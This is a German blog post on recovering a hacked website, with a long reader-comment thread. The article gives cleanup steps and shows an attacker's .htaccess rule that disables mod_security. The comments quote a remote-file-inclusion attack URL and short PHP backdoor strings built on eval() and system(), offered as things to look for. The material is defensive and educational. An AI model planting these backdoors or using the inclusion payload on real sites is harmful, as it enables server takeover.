Website gehackt – und nun?
05.08.2009 in: PHP, Sicherheit und Webdesign • 43 Kommentare
Letzte Änderung: 01.01.2011, 05:24 Uhr.
Auf deiner Website blitzt seltsame Werbung auf? Neuer Javascriptcode, Iframes, selbst im Backend? In deinen Verzeichnissen liegen neue Dateien, oder alte haben neuen Inhalt?
Deine Website gehört dir nicht mehr.
Schick stillen Dank zum Bösewicht, jetzt kannst du etwas lernen.
1. Fenster zu!
Zuerst möchtest du deinen Besuchern den Schadcode ersparen; also greif zur Keule. Lege eine Datei »tmp.html« ins Wurzelverzeichnis deiner Website:
<!Doctype html> <title>Wartungsarbeiten</title> <meta name="robots" content="noindex"> <p>Wir streichen gerade alles neu, kitten die Fugen und schrubben den Boden. Bis bald!</p>
In deine .htaccess schreibst du:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/tmp\.html$
RewriteRule .* /tmp.html [L]
Sonst sollte nichts anderes in deiner .htaccess stehen.
Jetzt werden alle Zugriffe auf deine Seiten mit dieser HTML-Datei beantwortet. Kontrolliere das während der nächsten Schritte in engen Zeitabständen! Noch kann der Angreifer diesen Schutz entfernen.
2. Betriebssystem säubern
Oft kommt ein Angreifer nicht durch Lücken der Software in die Seite, sondern über den Rechner eines Benutzers mit FTP-Zugriff.
Das typische Szenario eines solchen Hacks sieht so aus: Du betreibst eine Website und verwaltest sie von einem Rechner aus, auf dem du Windows benutzt, im schlimmsten Fall mit einem Administratorkonto. Dort hast du dir Schadsoftware installiert, die alle Tastatureingaben an den neuen Besitzer deines Computers schickt. Irgendwann auch die FTP-Zugangsdaten.
Deshalb wäre jetzt schon eine Reparatur deiner Website reine Zeitverschwendung.
Bring zuerst deinen Rechner in Ordnung. Mein Tip: Besorg dir ein Betriebssystem, das sicherer konzipiert wurde als Windows, und arbeite künftig nur von dort aus mit deiner Website.
Ich empfehle OpenSuse. Das verlangt keinen Freak für die Installation; es läßt sich leicht bedienen, und die Community hilft schnell, freundlich und kompetent. Eine Live-CD kannst du auch benutzen; die läuft ohne Installation.
Freilich verstecken sich Keylogger nicht nur im Betriebssystem; sie fühlen sich auch in Apple-Tastaturen sehr wohl.
Alle weiteren Schritte mußt du von einem sauberen System aus vollziehen. Oder wieder und wieder, jede Woche neu.
Kontrolliere jetzt deine Wartungsseite. Wenn sie weg ist, stell sie wieder her.
3. Paßwörter ändern
Logge dich bei deinem Webhoster ein, und ändere das Paßwort für diesen Login.
Lege ein neues FTP-Konto an, und kontrolliere mit einem FTP-Programm, ob es auch funktioniert. Benutze einen verschlüsselten Zugang, niemals normales FTP! Denn da werden deine Daten im Klartext übertragen.
Sobald das neue Konto funktioniert, lösche alle alten.
Kontrolliere jetzt deine Wartungsseite.
Ändere alle Paßwörter für deine E-Mail-Konten, Webforen, Usenet und so weiter. Bitte benutze Paßwörter, nicht Spaßwörter! Und überall ein neues, sonst genügt es, ein Konto zu hacken, um alle anderen zu übernehmen …
4. Daten sichern
Sichere das Template deiner Website und deine Datenbank. Lösche dann alle Dateien auf deinem Webspace. Auch Bilder, Textdateien und Stylesheets – oft versieht der Angreifer seine Scripte mit irreführenden Dateiendungen.
Kontrolliere deine Wartungsseite. Wenn sie nicht mehr steht, hast du einen Schritt ausgelassen. Geh nicht über Los, laß den Sekt geschlossen, und beginne von vorn.
Ehe du jetzt deine Backups einspielst – Keins da? Dann war’s nicht wichtig! – wird es Zeit für einen …
5. Perspektivwechsel
Nimm für ein paar Minuten die Perspektive des Angreifers ein. Du hast auf einer Website eine Lücke gefunden und freust dich nun: »Hier bin ich Held, hier brech’ ich ein!«
Du willst Geld mit dieser Website verdienen durch Werbung oder Schadcode, der die Rechner ihrer Besucher infiziert und in dein Botnetz einreiht. Du weißt, daß man dir irgendwann auf die Schliche kommt – und daß der Inhaber soviel Cleverness ausstrahlt wie ein Molch in der Wüste.
Deshalb baust du deinen Schadcode nicht sofort ein. Du sägt zunächst weitere Türen in die Website, versteckst auszuführenden Code in der Datenbank, in den Templates und in den Plugins. Außerdem infizierst du die Wächter (sogenannte »Antivirensoftware«), damit sie dich nicht verpetzen.
Und dann wartest du zwei Monate, ohne deinen Code zu aktivieren.
Warum? Weil du dann auch die Backups infiziert hast. Und weil niemand mehr deinen ursprünglichen Weg nachvollziehen kann.
Wenn dein Opfer aufräumt und das Backup der letzten Woche einspielt, wartest du wieder, bis es sich in Sicherheit wähnt – und stellst den alten Zustand wieder her. Dieses Spiel kostet dich fast nichts, und du kannst es Jahre hinziehen.
6. Dateien säubern
Kontrolliere also deine Backups, ehe du sie einspielst. Gründlich.
Suche beispielweise nach PHP-Code, der die Funktionen eval() oder base64_decode() enthält. In allen Dateien, ungeachtet ihrer Endung. Und in der Datenbank. Wie knifflig das werden kann, beschreibt dieser Artikel: How to find a backdoor in a hacked WordPress.
Manchmal steht auch in der .htaccess so etwas:
<ifmodule mod_security.c> <files async-upload.php> SecFilterEngine Off SecFilterScanPOST Off </files> </ifmodule>
Hole den Code deines CMS’ nur vom originalen Anbieter. Gleiches gilt für die Plugins.
Das sind nur Beispiele. Wenn du dich in der Programmiersprache nicht sattelfest fühlst, die deine Website antreibt, oder sonst kleine Zweifel hast: Verpflichte jemanden, der sich auskennt. Nicht den Nachbarssohn, der Informatik studiert, oder den »günstigsten Anbieter«, sondern einen Profi, der für seine Arbeit haftet.
7. Nachsorge
Beobachte in den folgenden Wochen alle erfolglosen Loginversuche. Dein Hoster hat ein FTP-Log für dich, dessen Lektüre sich lohnt. Wenn er keins hergeben möchte, dann wechsle den Hoster. Jetzt.
Mit ein bißchen Glück findest du im Log den Angreifer, der mit den alten FTP-Daten herumspielt. Und mit noch mehr Glück kannst du seine IP-Adresse mit einer Strafanzeige verbinden … aber erwarte nicht zuviel. Wenn derjenige auch nur halb so viele Mühe investiert wie du, benutzt er einen Anonymisierungsproxy.
- Ziehe regelmäßig Backups deiner Website, und kontrolliere sie.
- Stöbere in deinen alten Seiten, nachdem du dich ausgeloggt hast. Sieh dir auch den Quellcode an.
- Grabe dich durch deinen Webspace per FTP, um neue Dateien aufzustöbern. Setze passende Rechte – nicht jede Datei muß von jedermann beschreibbar sein.
- Halte deine Software auf dem aktuellen Stand. Die meisten Updates stopfen Sicherheitslücken.
Wenn dich das überfordert, oder du schon wieder Schadcode findest, dann delegiere diese Arbeit. Viele professionelle Webentwickler bieten einen Pflegevertrag an, der solche Arbeiten umfaßt.
Du warst, bist und bleibst für deine Website verantwortlich, für jeden Schaden, den sie erleidet oder verursacht. Ein Risiko bleibt immer. Dein waches Auge hoffentlich auch.
Mehr Lektüre zum Thema
- Authentifizierung mit PHP und UTF-8
- .htaccess: Angriffe sehen und blockieren
- Ungebetene Gäste mit .htaccess blocken
- WordPress 2.8.3: Das Doppelslash-Problem
Danke toscho für den Post , war hilfreich :)
Ist dir das selber schon passiert, oder sind das theoretische Empfehlungen?
@David: In einer milden Form ist es mir schon selbst passiert: 2002 oder 03 hatte ich mal auf meiner alten Website ein unsicheres Formular, in das jemand PHP-Code eingeschleust hat.
Derjenige hat das freundlicherweise nicht ausgenutzt, sondern mich per Mail aufgeklärt. Puh!
Seitdem ist das Thema fast zu einer kleinen Obsession für mich geworden. ☺
Den im Artikel beschriebenen Fall der Verseuchung des Betriebssystems mit anschließender Infiltration der Website habe ich leider schon mehrmals gesehen und repariert. Nicht gerade angenehme Arbeit …
GwenDragon am 06.08.2009 · 19:56
Eben nur mal das Defekte reparieren, ist nicht sinnvoll.
Die Website/der Server muss komplett vom Netz genommen werden und es muss ein Backup zwecks forensischer Analyse erstellt werden.
Stellt euch mal vor, jemand hat euch illegales Pornomaterial, Schadprogramme auf den Server in irgendwelche Seiten des Webroot gelegt oder einen „geheimen“ FTP-Zugang geschaffen oder gar ein P2P installiert.
Dann gibt es vielleicht Ärger mit der Staatsanwaltschaft.
Aktuellen Status sichern, Webhoster kontaktieren, Strafanzeige gegen Unbekannt stellen. Notfalls lieber eine anwaltliche Beratung in Anspruch nehmen.
@GwenDragon: Je nach Schaden muß man das machen, stimmt. Wenn man »nur« Spam und bösartige Scripte auf der Website hat, lohnt sich das kaum.
Im Zweifel gilt natürlich: Immer mit dem Schlimmsten rechnen.
@Thomas
Eine mich als Laien sehr überzeugende Anleitung. Bisher scheinen meine Websites erfreulicherweise (noch) nicht gehackt worden zu sein.
Dabei gibt es schon Schwachstellen. Zwar update ich meine Software immer möglichst zeitnah, aber dafür habe ich auf meinem PC Windows XP im Einsatz und mein Hoster bietet nur FTP und nicht SCP/SFTP an bzw. würde das im Monat 7,99 Euro statt 2,99 Euro kosten, also 5 Euro/Monat.
Wegen dieser Schwachstellen sind dann ein gutes Antivirenprogramm, eine gute Firewall und ein gutes Antispyware-Programm absolute Pflicht. Gleiches gilt für Deine Hinweise unter 3. Passwörter ändern.
Jetzt weiß ich, wo ich im Bedarfsfall eine gute ToDo-Liste finde. ;-)
An die Möglichkeit, dass auch Backups infiziert sein könnten, hätte ich wahrscheinlich nicht gedacht.
@Dieter: Es liegt im eigenen Interesse deines Hosters, daß Schreibzugriffe auf seine Festplatten möglichst sicher ablaufen. Wenn er das nicht versteht oder darin nur eine weitere Geldquelle vermutet, dann wechsle den Hoster.
Wenn du »Firewall« sagst, meinst du hoffentlich nicht eine der Desktoptravestien? Die schaden mehr, als sie nutzen.
@Thomas
Wahrscheinlich bin ich leichtsinnig, aber Sicherheitsfunktionen wie SFTP gibt es bei manchen Hostern nicht (meines Wissens z.B. bei one.com) oder kosten exta (z.B. gibt es das bei alfahosting.de erst ab dem Business-Paket).
Ich kann und will für eine kleine private Website nicht an die 1000 € pro Jahr allein an Hostingkosten bezahlen.
Danke für den interessanten Link zum Thema Desktop-Firewalls. Das dauert etwas bis ich die dortigen umfangreichen Infos gelesen habe. Und dann gibt es dort ja auch noch ein interessantes Video.
Aber ich setze sehr wohl eine Desktop-Firewall ein. Darüber hinaus geht meine Internetverbindung über einen Router, der eine Hardware-Firewall hat.
Immerhin verwende ich kein Outlook (Express) und den Internet Explorer setze ich auch nur zum Testen von Webdesigns ein.
@Dieter: Bei den meisten Hostern ist der verschlüsselte FTP-Zugang kein Extra, sondern Bestandteil selbst der einfachsten Pakete. Als Beispiele seien All-Inkl.com oder TMKIS genannt. Diese Pakete kosten 48—60 € im Jahr – keine 1000.
Oft erwähnen die Anbieter diese Möglichkeit nicht einmal (in Deutschland darf man nicht mit Selbstverständlichkeiten werben). Eine Mail an den Support oder das Testen im FTP-Programm bringen die funktionierende Verschlüsselung aber schnell zutage.
@Thomas:
Mit 1000 € habe ich mich vertan. Ich meinte fast 100 € (8 € x 12).
Testen ist eine gute Idee.
@Thomas
Peinlich für mich, aber zur Ehrenrettung für alfahosting.de geboten:
Dort geht SSL-Verbindung mit ftp ohne Probleme. Steht in meinem Paket unter Server-Info - Sicherheit. Wer lesen kann ist klar im Vorteil. Natürlich habe ich es direkt mit meinem ftp-Programm getestet und es funktioniert. Danke für den Gedanken Schupser.
Für mich ist soetwas ein Albtraum und ich hoffe ich bleibe immer verschont. Wer Technisch nicht so versiert ist sollte echt froh sein das alles läuft!
Sehr schöner Beitrag. Da konnte ich auch noch einiges daraus lernen. Wäre mir sowas passiert, hätte ich nie an die Backups gedacht.
Lg
Mir ist der Tip, gleich das Betriebssystem zu wechseln, zu krass. Es gibt auch Möglichkeiten, Windows von Schadsoftware zu befreien - es hat echt nicht jeder Bock, auf eine Linux-Version umzusteigen!
@Claudia: Mein Vorschlag gilt allen, die sofort eine sauberes System brauchen. Ehe man Windows zuverlässig gereinigt oder neu installiert hat, vergehen ja manchmal Stunden.
Die meisten Linuxsysteme hingegen kann man ohne Installation direkt von einer CD oder DVD starten. Oder man macht auf einer Festplatte ein Gigybyte Platz und steckt da CrunchBang Linux drauf. Dauert nur ein paar Minuten, und um das Windows kümmert man sich eben später.
Das Problem bei den meisten Hostingangeboten ist das die Hoster den Server auf kompatibilität auslegen. Das es keine Probleme gibt wenn 100 Kundenwebseites darauf sind und nicht auf Sicherheit. Meisitens sind einstellungen wie register_globals da auf on. Also lieber bisschen mehr Geld ausgeben. VPS gibts ja schon ab 10 euro oder so.
Wenn Ihr wissen wollt ob eure Webseite nem Hackerangriff stand hällt schaut bei mir vorbei. infected-web.de.
[Entlinkt, da SEO-Name. Thomas]
Schöner Spam von Infected Web.
@GwenDragon: Ich konnte mich nicht entscheiden, weil es zwar nicht automatisiert aussieht, aber doch mit einem auf SEO ausgelegten Namen daherkommt. Ich habe jetzt einen Mittelweg gewählt.
Zum Inhalt: Die Einstellung register_globals sollte keinen Einfluß auf die Verwundbarkeit eines Codes haben. Hier kommt die Schrauberei technisch gesehen zu spät. Im Code selbst müssen dagegen Vorkehrungen getroffen werden.
Wer sich also mit
register_globals = offin Sicherheit wähnt, erliegt ganz wörtlich einem Wahn.@GwenDragon ;)
@Thomas Scholz - das war auch nur ein Beispiel mit den register_globals. Allerdings hat die einstellung register_globals ganz entscheidenen Einfluss auf die Verwundbarkeit eines Codes. Alle Remote File Includes oder Local File includes die du in den Vulnarability Datenbanken findest sind nur möglich wenn register_globals = on sind. Ich geb dir mal ein vereinfachtes Beispiel:
Im Code steht z.B.
Der Angriff sieht dann so aus. http://www.example.com/main.php?inc=http://shell
Diese schlechte Codeprogrammierung, bzw. die nicht Definierung der Variable ($inc) ist die häufigste Ursache für Hacks. Schaut euch um, z.B. hier. http://www.milw0rm.com/webapps.php
Alle Remote File Inclusion Vulnerabilities, RFI, LFI, etc., die Ihr dort findet sind nur möglich wenn register_globals = on sind. Ausser sie werden durch ein extract() aufgehoben, was euserst selten vorkommt.
Das heist: durch register_globals = off kannst du schon mal eine Menge von Angriffen von vornherein verhindern. Natürlich gibt es noch mehr Einstellungsmöglichkeiten in der php.ini. Falls du keinen zugriff darauf hast weil du ein Shared Hosting Angebot nutzt kannst du dich mal hier einlesen http://www.askapache.com/htaccess/htaccess.html. Durch die .htaccess kann man php.ini einstellungen z.B für ein bestimmtes Verzeichniss Anlegen.
Firewalls oder IDS bringen nicht sehr viel, wie schon Gwen erwähnte. Da diese meist nur bekannte Sicherheitslücken blocken können.
Um nochmal auf meinen "Spam" zurück zu kommen. Du kannst deine Webseite oder deinen Server so gut absichern wie du willst. Ob diese/der einem Hackerangriff standhält erfährst du nur wenn es soweit ist. Du kannst dies bei uns testen oder warten bis ein Cracker kommt und deine Daten klaut oder was auch immer er vor hat. So, ist schon 3:30 geh jetz in die Heia. G8.
@Infected Web: Ich kenne dieses Szenario sehr gut; ich beobachte es ja täglich.
Allerdings heißt die korrekte Antwort auf diese Bedrohung: Nutze keinen unsicheren Code. Mit
register_globalswird schlechter Code nicht besser; meistens findet man darin auch andere Probleme.Im Übrigen wird das Übergeben von URLs auch durch meinen Doppelslashkiller erfaßt: Der macht aus
http://example.comnämlichhttp:/example.com– und das ist keine gültige URL mehr.Dennoch würde ich niemandem damit eine Entwarnung aussprechen.
Es lässt sich aber wohl nicht vermeiden unsicherhen Code zu nutzen. Da sich wohl niemand die mühe macht den Sourcecode jeder Applikation die er Installiert zu Überprüfen. Mal ganz davon abgesehen ist nicht jeder ein Programmierer. Und bei Applikationen die z.B. durch Ioncube geschützt sind, hast du garkeine Möglichkeit. Und unsicheren Code gibt es wohl in fast jeder Webapp, sei es WordPress, Confixx oder Joomla. Deshalb ist es besser ein Paar euro mehr auszugeben und auf billiges shared Hosting zu verzichten. Da die Server mehr auf Kompatibilität ausgelegt sind als auf Sicherheit.
Auch (managed) Root- oder VServer schützen nur bedingt.
Es gibt Anbieter, die schludern einfach auch bei managed Systemen.
Oder wie lässt sich erklären, dass heute ein 1&1-Server (kann nur V- oder Root-Server sein) versucht hat, einen durch mich betreten über SSH anzugreifen mit Massenflooding und Passwortlisten?
Ansonsten ist ein Auditing und Monitoring eines Servers gewiss nützlich. Aber für die wenigsten Privatleute sinnvoll.
35 Euro sind nicht viel, wenn Firma Infected Web den Server scannt.
Die Beratungs- und Servicekonditionen zum Schließen der Lücken ist dann wohl beträchtlich höher. Erkennbar ist jedenfalls nicht, was das Angebot wirklich beinhaltet.
Schade. Ich hätte gern getestet, was die können.
Es ist so simpel wie es auf der Webseite beschrieben wird. Wir scannen den Server auf Sicherheitslücken oder Konfigurationsfehler. Fassen dies in einem Bericht zusammen und bieten Lösungsvorschläge an. Es entstehen keine weiteren Kosten für Beratung etc. Das Projekt ist nicht dazu da mich Reich zu machen. Aber die Unkosten sollten gedeckt sein. Andere Anbieter verlangen das 10 fache für solch einen Service.
Auf jedenfall hat mich deine Anregung ein wenig überlegen lassen. Ich werde wohl genauer schildern müssen was wir eigentlich tun.
Es ist klar das Root oder Vserver nich gleich eine sichere Serverumgebung garantieren aber sie mindern das Risiko. Weil ma weis was sich auf dem Server befindet. Sollte man zumindest wissen. Und je weniger Applikationen desto weniger Angriffsmöglichkeiten.
Wenn ich mal diesen Server hier als beispiel nehmen darf. Ohne ihn zu Scannen, weil ich dafür eine Erlaubnis bräuchte, gibt es viele nützliche Informationen.
Gehostet bei kasserver, ca. 90 Domains sind auf dem Server. Installierte Applikation: Joomla, WordPress, Woltlab, Drupal, etc. und einige mir Unbekannte, die aber beim anschauen schon fast auseinander Fallen. Ist der Server sicher genug für einen Onlineshop ? Ich würde sagen nein.
Ich suche Leute die Lust haben mein Forum mit aufzubauen. Wenn jemand Interresse habt, meldet euch einfach. Thx.
https://www.infected-web.de/blog.html
Nachdem ich den wirklich guten Artikel gelesen habe, würde ich gerne mein Problem schildern.
Vor ca. 3 Jahren wurde eine Webseite von mir gehackt. Glücklicherweise wurde nichts verändert und nur eine neue Index eingespielt. Damals war es eine Gruppe aus der Türkei.
Gestern bin ich in meinen Log Dateien über einen seltsamen Referer gestoßen.
Nachdem ich die Seite besucht hatte, bot sich mir folgendes Bild, kann ich senden wenn gewünscht, ich habe einen Screenshot gemacht.
Hier erstmal der Text
Gehacked by *domain.de* (Der link zu der Seite) Darunter ein Totenkopf. Ist das nun als Warnung zu verstehen oder als Spass?
Grüße aus dem Norden von Thomas
Als Spass wür ich es schonmal garnicht bezeichnen. Aber unter Script - Kiddies ist das ein "Sport". Im Fachjargon nennt man solche Verunstaltungen "Defacement". Eine Seite die solche Defacements online stellt ist z.B. zone-h.org.
Trotzdem solltest du die Lücke auf jedenfall schliessen da oft nur ein veraltetes Programm oder ein Kernel der nicht uptodate ist reicht um den Server zu Rooten. Cracker die es auf Kundendaten, etc. abgesehen haben versuchen ihren "Einbruch" zu verschleiern um sich später wieder mal ein neues Backup der Daten zu ziehen.
@thomas57: Naja, das kann zweierlei bedeuten: Entweder will dir jemand »was anhängen«, oder auf deiner Website liegt tatsächlich noch Schadcode. Vielleicht auch beides. ☻
Das Ersetzen der
index.phpfinde ich verdächtig deutlich. Wie ich oben geschrieben habe, versteht man einen Angriff nur dann, wenn man wie der Angreifer denkt. Vielleicht solltest du die ersetzte Datei finden, damit du sie reparieren und dich »sicher« fühlen kannst, während der eigentlich gefährliche Code viel besser versteckt wurde. Kurz: Kontrolliere alles nochmal.Wenn du dir nicht ganz sicher bist, daß du eine Hintertür selber finden kannst, dann frag jemanden.
Ach ja, nochwas. Wenn dein Server in so einer Datenbank auftaucht versuchen sich vielleicht auch andere daran die Seite zu hacken. Und die haben vielleicht dann andere Dinge mit deinem Server vor.
@Infected Web:
Das war, wie gesagt vor 3 Jahren. Damals wurde die Lücke auch geschlossen und die Dateien auch gesichert. Heute ist nichts schadhaftes auf dem Server oder in den einzelnen Dateien.
Die Links kamen von einer Seite, die beim Aufruf dann das Gemälde mit einem Link zur Webseite präsentierte.
Die Webseite zone ist mir seit damals auch bekannt.
Trotzdem hatte der Cracker zugriff auf deine Seite sonst könnte er nicht die index einbinden. Und allein dieser string @system($a); ?> oder
@eval(getenv(http_ip)); ?> reichen aus um als Backdoor zu dienen. Also Augen auf ;) Ist ja gut wenn deine Seite jetzt sauber ist.
Wer eval, system oder gar Backticks auf ungeprüfte Inhalte anwendet, oder diese unescaped ausgibt, weiß leider nicht, was das in PHP sonstigen Websprachen verursachen kann.
Ich finde so etwas fahrlässig!
Niemals sind Daten, die von Außen kommen, sicher.
Es wird oft ohne Sicherheitsbewusstsein für und in PHP programmiert. Kein Wunder, dass so manche „tolle“ Webanwendung löchrig ist.
Hey!
Ist das wirklich so, dass die meisten Hacks einer Webseite aufgrund eines Windows Betriebssystems zurückzuführen sind?
Falls das so sein sollte, bin ich ja beruhigt. Ich nutze schon seit Februar 2005 ausschließlich ein Linux System auf dem Desktop. Angefangen habe ich mit SuSE 9.2, dann SuSE 9.3 Professional und bin dann zu Ubunutu Linux gewechselt. Das ging mir dann nach 18 Monaten auf die Nerven und seit dem benutze ich debian GNU/Linux und werde auch bei debian bleiben.
Bist du durch eine gehackte Webseite auf Linux aufmerksam geworden?
*Schöne Grüße* ☺
Die meisten Hacks einer Webseite sind wohl auf die installierten Applikationen zurückzuführen. Das heisst Blogs, Foren, Mailprogramme, etc. Oder durch schlechte Passwörter von Adminbreichen, Ftp, etc.
@Dunkelangst: Oft läßt sich der erste Weg des Angreifers nur mit sehr hohem Aufwand feststellen. Ob die »meisten« Angriffe über Windows laufen, kann ich nicht sagen. Ich bezweifle es.
Ich wollte mit dem Hinweis zeigen: Sicherheit ist kein Zustand, sondern eine Art zu denken, eine Gesamtperspektive auf alle beteiligten Komponenten.
Daher ist der Einsatz eines Linuxsystems zwar sicher sinnvoll; er genügt aber nicht. Jede Komponente muß auf ihre Sicherheit untersucht werden. Und man kann sogar Windows einigermaßen sicher konfigurieren.
Ich benutze Linux, weil ich programmiere und an allen Programmen gerne herumhacke. Nebenher verwende ich aber auch Windows. Da läuft Photoshop einfach … geschmeidiger, und die Schriften sehen besser aus.
Ein System ist nicht sicher, weil es Linux ist. Und der Mythos es gäbe keine Viren und Trojaner für Linux ist auch falsch.
Es wird im Serverbereich oft auf Linux eingebrochen und auf Windows.
Und es gibt Server-Anbieter, deren Linux-Betriebssysteme sind veraltet und unsicher.
Beliebte Türöffner sind immer wieder schlecht installiertes PHP, falsch konfigurierte Server, diverse Joomla oder WordPress, schlecht abgesichertes SSH, unsicheres FTP.
Ich nutze selbst Linux und Windows, letzteres hauptsächlich weil Linux nichts wirklich Bequemes in den Bereichen DTP, 3D, Design bietet und Adobe bzw. Quark auch nicht unter Linux laufen (noch nicht einmal mit Wine). Linux brauche ich, um eine 1:1-Umgebung für Server und Webentwicklung zu haben.
Und ab und an arbeite ich auch mit Debian oder Ubuntu, es muss ja nicht immer XP oder Win 7 sein, weil bei mir zuhause andere Linux mit OpenOffice nutzen.
Ich hab auch erst nen Artikel gelesen, weis nicht genau ob in der Ct oder Chip, die sind zu dem Fazit gekommen das Windows mittlerweile eines der sichersten Betriebssysteme ist.
@Thomas Scholz:
Auf jeden Fall vielen Dank für deine Antwort! Ich hab mir deinen Artikel mal gespeichert - für den Fall der Fälle.
Ich kann Dir auch nur im Vollsten Umfang zustimmen:
Sicherheit ist ein Prozess und kein Zustand. Das ist eine der grundlegendsten Gesetze in der IT überhaupt. Aus diesem Grund war ich auch so verdutzt, als du meintest, dass wahrscheinlich das Windows zuvor gehackt worden ist.
Alles in allem ist dies ein echt qualitativ hochwertiger Beitrag!
Vielen Dank für deine Tipps - die ich hoffentlich nie brauchen werde...
*Schöne Grüße*
Mano am 03.01.2010 · 01:04
Ein schöner Beitrag. Mir wird dabei jedoch fast schwindlig. Einerseits weil Ich nur mit Mühe verstehe was Ich in so einem Fall machen muss, und andererseits weil man dann noch immer nicht sicher ist. Gibt es da kein Buch drüber? Mit einer Schritt-für-Schritt Anleitung, mit Screen Shots oder so? Um mich einigermassen sicher zu fühlen muss Ich mich doch etwas tiefer in die Materie einarbeiten.
@Mano: Man könnte sicher ein Buch darüber verfassen – das wäre zugleich eine Gebrauchsanweisung für Cracker. Vermutlich gibt es solche Bücher schon.
Screenshots wovon? Jeder benutzt andere Software für seine Website, jeder Einbruch sieht ein bißchen anders aus, daher auch jede Säuberung. Du bringst es im letzten Satz ja auf den Punkt: Man muß die Probleme selbst verstehen, um sie zu vermeiden.
Dein Beitrag geht über was man machen muss wenn ein Blog gehackt ist. Vielleicht ein Buch (mit Screenshots) über was man alles machen muss und kann, und wie man es macht, um nicht gehackt zu werden.
@Mano: Guter Vorschlag; dazu werde ich mal einen Artikel schreiben.
Danke auch für diesen ausführlichen Artikel, bin gerade darüber "gestolpert" als ich bei dir nach dem Stichwort "Backup" suchte.
Den werde ich mir fest abspeichern, ausdrucken und studieren, nach Möglichkeit auch durchspielen. Denn wenn es erst einmal soweit ist, zum Beispiel bei einem Kunden, ist es zu spät sich damit zu beschäftigen...
Ich hab es zwar nicht gebraucht (und werde es auch hoffentlich nicht ^^) aber sehr schöne Anleitung die auch für Laien verständlich ist.
Gut gemacht. :)